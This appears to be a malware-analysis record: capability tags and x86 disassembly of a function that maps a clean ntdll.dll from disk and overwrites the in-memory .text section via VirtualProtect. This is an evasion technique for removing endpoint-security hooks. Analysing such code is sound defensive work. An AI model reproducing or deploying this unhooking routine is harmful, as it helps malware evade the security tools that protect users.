Function at 0x4030b4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x6c
mov eax, dword [0x407040]
mov dword [esp + 0x5c], eax
xor eax, eax
lea edi, [esp + 0x50]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 3
mov dword [esp + 0x30], eax
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [esp], 0x4050a4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
mov dword [esp + 0x28], eax
test eax, eax
je 0x4032cd
lea eax, [esp + 0x50]
mov dword [esp + 0xc], 0xc
mov dword [esp + 8], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call sub.PSAPI.DLL_GetModuleInformation
sub esp, 0x10
mov dword [esp + 0x18], 0
mov ebp, dword [esp + 0x50]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], str.C:WindowsSystem32_ntdll.dll
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [esp + 0x34], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [esp + 0x2c], eax
test eax, eax
je 0x4032cd
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov dword [esp + 0x38], eax
mov eax, dword [ebp + 0x3c]
mov word [esp + 0x26], 0
add eax, ebp
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
mov di, word [esp + 0x26]
cmp word [eax + 6], di
jbe 0x40329b
movzx eax, word [eax + 0x14]
mov edx, dword [esp + 0x20]
mov dword [esp + 4], str..text
lea ebx, [edx + eax + 0x18]
movzx eax, di
imul eax, eax, 0x28
add ebx, eax
mov dword [esp], ebx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x403291
lea eax, [esp + 0x4c]
mov dword [esp + 8], 0x40
mov edx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [esp + 0xc], eax
mov eax, dword [ebx + 8]
mov dword [esp + 0x3c], edx
mov dword [esp + 4], eax
mov eax, dword [ebx + 0xc]
mov dword [esp + 0x4c], 0
add eax, ebp
mov dword [esp], eax
call edx
mov esi, dword [ebx + 0xc]
mov ecx, dword [ebx + 8]
sub esp, 0x10
lea eax, [ebp + esi]
add esi, dword [esp + 0x38]
mov edx, dword [esp + 0x3c]
mov edi, eax
lea eax, [esp + 0x4c]
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x4c]
mov dword [esp + 8], eax
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov eax, dword [ebx + 0xc]
add eax, ebp
mov dword [esp], eax
call edx
sub esp, 0x10
inc word [esp + 0x26]
jmp 0x4031e6
mov eax, dword [esp + 0x30]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp], eax
call ebx
push eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call ebx
push edx
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call ebx
push ecx
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
mov eax, dword [esp + 0x5c]
sub eax, dword [0x407040]
je 0x4032de
call fcn.00401770
add esp, 0x6c
pop ebx
pop esi
pop edi
pop ebp
ret